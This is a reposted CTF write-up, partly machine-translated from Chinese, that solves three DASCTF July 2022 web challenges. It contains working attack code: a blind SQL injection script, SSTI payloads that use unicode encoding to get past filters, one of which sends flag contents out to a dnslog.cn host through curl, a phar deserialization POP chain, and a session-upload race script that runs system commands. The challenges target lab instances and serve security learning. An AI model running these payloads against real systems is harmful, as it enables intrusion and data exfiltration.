当前位置:网站首页>DASCTF2022.07 empowerment competition WEB topic recurrence
DASCTF2022.07 empowerment competition WEB topic recurrence
2022-08-10 17:18:00 【Ki1ro】
前言
其实7I want to recreate it in a month,The subject matter seems to be of high quality,But he was too lazy to read it, so he put it on hold.Now I have the ability to come back and fill the hole,But the last question is still a bit difficult for me to understand,之后再研究研究.
复现
DASCTF|2022DASCTF7月赋能赛官方Write Up
绝对防御
知识点
sql注入-布尔盲注
js路径查找
复现过程
Enter the topic to view the source code,The home page is found to be a static image,Many are citedjs
我们通过JSfinderThis tool goes to find the relevant interface
找到一个php接口SUPERAPI.php,访问查看一下
View the source code to see the front-end pairget传入的'id'Parameters are strictly filtered
输入1或者2试了一下,会返回admin和flag
Guess here is onesql注入点,The front-end filtering can actually be ignored,Mainly the back-end filtering
We pass like thispayload进行fuzz测试,Returned when there is no filteringadmin,empty when filtering
?id=1 and 'if'='if'--+
fuzz脚本
f = open("sqlFuzz字典.txt", 'r')
strs = f.readlines()
print("--------- 过滤字符")
for i in strs:
if "'" in i:
payload = f'1 and "{i}"="{i}"--+'
else:
payload = f"1 and '{i}'='{i}'--+"
time.sleep(0.1)
r = requests.get(url=url+payload).text
if 'admin' not in r:
print("--------- "+i)
The following characters are roughly filtered
union, if, insert, update, sleep, benchmark, #, &
sleep,union过滤了,So we use boolean blinds
盲注脚本
import requests
import time
url = 'http://0dc42f8d-33c6-4e7e-97e5-3da1cfb6ef80.node4.buuoj.cn:81/SUPPERAPI.php?id='
str = ''
for i in range(60):
min,max = 32, 128
while True:
j = min + (max-min)//2
if(min == j):
str += chr(j)
print(str)
break
# 爆表名
# payload = f"1 and ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{i},1))<{j} --+"
# 爆列
# payload = f"1 and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='users'),{i},1))<{j} --+"
# # 爆值
payload = f"1 and ascii(substr((select group_concat(password) from users),{i},1))<{j} --+"
r = requests.get(url=url+payload).text
time.sleep(0.1)
if(r'admin' in r):
max = j
else:
min = j
获取flag
HardFlask
知识点
SSTI注入
复现过程
See that there is an input box,and has certain functions,You can try to guessSSTI注入
尝试{ {2*2}},发现被过滤
使用脚本fuzz一下
import requests
import time
url = 'http://740bb3c6-3d77-43c2-add2-0daacdd07dc4.node4.buuoj.cn:81/'
f = open("fuzz_dict.txt", 'r')
strs = f.readlines()
print("--------- 过滤字符")
for i in strs:
if "'" in i:
data = {'nickname':f"{i}"}
else:
data = {'nickname':f'{i}'}
time.sleep(0.1)
r = requests.post(url=url, data=data).text
# print(r)
if 'Hacker! restricted characters!' in r:
print("--------- "+i)
Roughly filter characters
', }}, {
{, ], [, ], \, , +, _, ., x, g, request, print, args, values, input, globals, getitem, class, mro, base, session, add, chr, ord, redirect, url_for, popen, os, read, flag, config, builtins, get_flashed_messages, get, subclasses, form, cookies, headers
Double quotes can also be used,So underscore worksattr加上unicode编码来绕过
{ {用{%来替代
之前尝试了lipsumChains or undefined classes don't seem to work
{
{lipsum.__globals__['os'].popen('ls').read()}}
So still use the most common way of thinking
{
{"".__class__.__bases__[0].__subclasses__()[遍历].__init__.__globals__.popen('whoami')}}
Find contains by scriptpopen方法的子类,输出为132,所以 i 就等于132了(官方WP是输出的133,I don't know if it's an environmental issue or what)
import requests
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'
}
cl = '\\u005f\\u005f\\u0063\\u006c\\u0061\\u0073\\u0073\\u005f\\u005f' # __class__
ba = '\\u005f\\u005f\\u0062\\u0061\\u0073\\u0065\\u0073\\u005f\\u005f' # __bases__
gi = '\\u005f\\u005f\\u0067\\u0065\\u0074\\u0069\\u0074\\u0065\\u006d\\u005f\\u005f' # __getitem__
su = '\\u005f\\u005f\\u0073\\u0075\\u0062\\u0063\\u006c\\u0061\\u0073\\u0073\\u0065\\u0073\\u005f\\u005f' # __subclasses__
ii = '\\u005f\\u005f\\u0069\\u006e\\u0069\\u0074\\u005f\\u005f' # __init__
go = '\\u005f\\u005f\\u0067\\u006c\\u006f\\u0062\\u0061\\u006c\\u0073\\u005f\\u005f' # __golobals__
po = '\\u0070\\u006f\\u0070\\u0065\\u006e' # __popen__
for i in range(500):
url = "http://740bb3c6-3d77-43c2-add2-0daacdd07dc4.node4.buuoj.cn:81/"
payload = {
"nickname": '{%if(""|' +
f'attr("{cl}")' +
f'|attr("{ba}")' +
f'|attr("{gi}")(0)' +
f'|attr("{su}")()' +
f'|attr("{gi}")(' +
str(i) +
f')|attr("{ii}")' +
f'|attr("{go}")' +
f'|attr("{gi}")' +
f'("{po}"))' +
'%}success' +
'{%endif%}'
}
res = requests.post(url=url, headers=headers, data=payload)
if 'success' in res.text:
print(i)
应该print没有了,So we tried takeout,Takeaway has been bugging me for a long time,试了bp的collaborator还有vps似乎都行不通,最后用dnslogTakeout can be successful
import requests
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'
}
cl = '\\u005f\\u005f\\u0063\\u006c\\u0061\\u0073\\u0073\\u005f\\u005f' # __class__
ba = '\\u005f\\u005f\\u0062\\u0061\\u0073\\u0065\\u0073\\u005f\\u005f' # __bases__
gi = '\\u005f\\u005f\\u0067\\u0065\\u0074\\u0069\\u0074\\u0065\\u006d\\u005f\\u005f' # __getitem__
su = '\\u005f\\u005f\\u0073\\u0075\\u0062\\u0063\\u006c\\u0061\\u0073\\u0073\\u0065\\u0073\\u005f\\u005f' # __subclasses__
ii = '\\u005f\\u005f\\u0069\\u006e\\u0069\\u0074\\u005f\\u005f' # __init__
go = '\\u005f\\u005f\\u0067\\u006c\\u006f\\u0062\\u0061\\u006c\\u0073\\u005f\\u005f' # __golobals__
po = '\\u0070\\u006f\\u0070\\u0065\\u006e' # __popen__
cmd = '\\u0063\\u0075\\u0072\\u006c\\u0020\\u0060\\u0063\\u0061\\u0074\\u0020\\u002f\\u0066\\u002a\\u0060\\u002e\\u0030\\u0072\\u0070\\u0066\\u006f\\u0037\\u002e\\u0064\\u006e\\u0073\\u006c\\u006f\\u0067\\u002e\\u0063\\u006e'
# curl `cat f*`..0rpfo7.dnslog.cn
i =132
url = "http://740bb3c6-3d77-43c2-add2-0daacdd07dc4.node4.buuoj.cn:81/"
payload = {
"nickname": '{%if(""|' +
f'attr("{cl}")' +
f'|attr("{ba}")' +
f'|attr("{gi}")(0)' +
f'|attr("{su}")()' +
f'|attr("{gi}")(' +
str(i) +
f')|attr("{ii}")' +
f'|attr("{go}")' +
f'|attr("{gi}")' +
f'("{po}"))' +
f'("{cmd}")' +
'%}success' +
'{%endif%}'
}
res = requests.post(url=url, headers=headers, data=payload)
print(res.text)
获得flag
Ez to getflag
知识点
phar反序列化
session文件竞争
任意文件读取
文件包含
复现过程
非预期解
Because the picture viewing page is not bannedflag,Can be read directly from arbitrary files,获取根目录下的flag
预期解
Read through image viewingupload.php,class.php,file.php的源码
先看一下class.php中uploadThe upload logic of the class
Use a whitelist to filter file suffixes,Strict filtering of file content,Looks like I want to upload onePHPTrojans are somewhat unlikely
The save filename is the filename of the uploaded filemd5值,So the file is known and controllable to us.
function file_check() {
$allowed_types = array("png");
$temp = explode(".",$this->f["file"]["name"]);
$extension = end($temp);
if(empty($extension)) {
echo "what are you uploaded? :0";
return false;
}
else{
if(in_array($extension,$allowed_types)) {
$filter = '/<\?php|php|exec|passthru|popen|proc_open|shell_exec|system|phpinfo|assert|chroot|getcwd|scandir|delete|rmdir|rename|chgrp|chmod|chown|copy|mkdir|file|file_get_contents|fputs|fwrite|dir/i';
$f = file_get_contents($this->f["file"]["tmp_name"]);
if(preg_match_all($filter,$f)){
echo 'what are you doing!! :C';
return false;
}
return true;
}
else {
echo 'png onlyyy! XP';
return false;
}
}
}
function savefile() {
$fname = md5($this->f["file"]["name"]).".png";
if(file_exists('./upload/'.$fname)) {
@unlink('./upload/'.$fname);
}
move_uploaded_file($this->f["file"]["tmp_name"],"upload/" . $fname);
echo "upload success! :D";
}
Let's take a look at the logic of file reading,Filter many pseudo-protocols,但没有过滤phar伪协议
我们可以通过file_get_contents函数搭配pharPseudo-protocol to trigger the deserialization chain
public function show()
{
if(preg_match('/http|https|file:|php:|gopher|dict|\.\./i',$this->source)) {
die('illegal fname :P');
} else {
echo file_get_contents($this->source);
$src = "data:jpg;base64,".base64_encode(file_get_contents($this->source));
echo "<img src={$src} />";
}
}
The next step is to try to find the deserialization chain to exploit
我们可以通过Test类的__destruct方法作为起点,strControllable and it's printingstr,So you can find it contains__toString的类
class Test{
public $str;
public function __construct(){
$this->str="It's works";
}
public function __destruct()
{
echo $this->str;
}
}
Upload类中含有__toString方法,并且$cont和$size都可控,因为size相当于属性值,所以我们可以找__get魔术方法
__get 读取不可访问(protected 或 private)或不存在的属性的值时,__get() 会被调用.
function __toString(){
$cont = $this->fname;
$size = $this->fsize;
echo $cont->$size;
return 'this_is_upload';
}
Show类中含有__get方法,And he called an unknown method,Then we can try to find it__call魔术方法
function __get($name)
{
$this->ok($name);
}
通过Show类中的__call方法,我们可以调用backdoor方法
我们来看看backdoor方法是什么
public function __call($name, $arguments)
{
if(end($arguments)=='phpinfo'){
phpinfo();
}else{
$this->backdoor(end($arguments));
}
return $name;
}
backdoormethod for file inclusion,$door我们可控,就是前面$size,Can be changed to the filename we want to include
public function backdoor($door){
include($door);
echo "hacked!!";
}
Then we have to figure out a way,How to upload the files we include to the website,Also consider whether it can be included through the log,But on the file reading page, the attempt to read the log through the default path found that it failed,Possibly the path has been modified.
It's time to start thinkingsession文件竞争
构造pop链
<?php
class Test{
public $str;
}
class Upload {
public $fname;
public $fsize;
}
class Show{
public $source;
}
$test = new Test();
$upload = new Upload();
$show = new Show();
$test->str = $upload;
$upload->fname=$show;
$upload->fsize='/tmp/sess_Ki1ro';
// 生成phar文件
@unlink("shell.phar");
$phar = new Phar("shell.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($test);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>
通过gzip文件压缩,Bypass content detection,将后缀改为png,绕过后缀检测
再上传文件
Now start writing, reading and uploading filessessionA two-threaded script for files
import threading, requests
from hashlib import md5
url = 'http://9e57dedf-4eec-43bb-a01e-a39ed6d52f84.node4.buuoj.cn:81/'
check = True
# 触发pharThe file is deserialized to includesessionUpload progress file
def include(fileurl, s):
global check
while check:
fname = md5('shell.png'.encode('utf-8')).hexdigest() + '.png'
params = {
'f': 'phar://upload/' + fname
}
res = s.get(url=fileurl, params=params)
if "working" in res.text:
print(res.text)
check = False
# 利用session.upload.progress写入临时文件
def sess_upload(uploadurl, s):
global check
while check:
data = {
'PHP_SESSION_UPLOAD_PROGRESS': "<?php echo 'working';system('cat /flag') ?>"
}
cookies = {
'PHPSESSID': 'chaaa'
}
files = {
'file': ('chaaa.png', b'cha' * 300)
}
s.post(url=url, data=data, cookies=cookies, files=files)
def exp(url):
fileurl = url + 'file.php'
uploadurl = url + 'upload.php'
num = threading.active_count()
# 上传phar文件
file = {'file': open('./shell.png', 'rb')}
ret = requests.post(url=uploadurl, files=file)
# 文件上传条件竞争getshell
event = threading.Event()
s1 = requests.Session()
s2 = requests.Session()
for i in range(1, 5):
threading.Thread(target=sess_upload, args=(uploadurl, s1)).start()
for i in range(1, 5):
threading.Thread(target=include, args=(fileurl, s2,)).start()
event.set()
while threading.active_count() != num:
pass
if __name__ == '__main__':
exp(url)
print('success')
获取flag
边栏推荐
猜你喜欢
随机推荐
v-bind指令:设置元素的属性
Redis下载安装教程 (windows)
【QT VS项目名称修改】
聊聊云原生数据平台
promise笔记(三)
Basic knowledge of software engineering--requirements analysis
Qt 绘图和绘图设备
defi质押借贷理财挖矿dapp系统开发逻辑
事务的隔离级别,MySQL的默认隔离级别
神经网络如何提高准确率,神经网络的求解方式
MySQL数据库完全备份与增量备份怎么实现
深度学习培训二笔记
剑指OfferⅡ 045.二叉树最底层最左边的值 dfs
电力系统潮流计算与PowerWorld仿真(牛顿拉夫逊法和高斯赛德尔法)(Matlab实现)
神经网络有哪些激活函数,卷积神经网络有哪些
v-show指令:切换元素的显示与隐藏
How to use bitwise operators in C language
网易云信亮相LiveVideoStackCon2022,解构基于WebRTC的开源低延时播放器实践
MySQL增加字段SQL语句
轮询以及webSocket与socket.io原理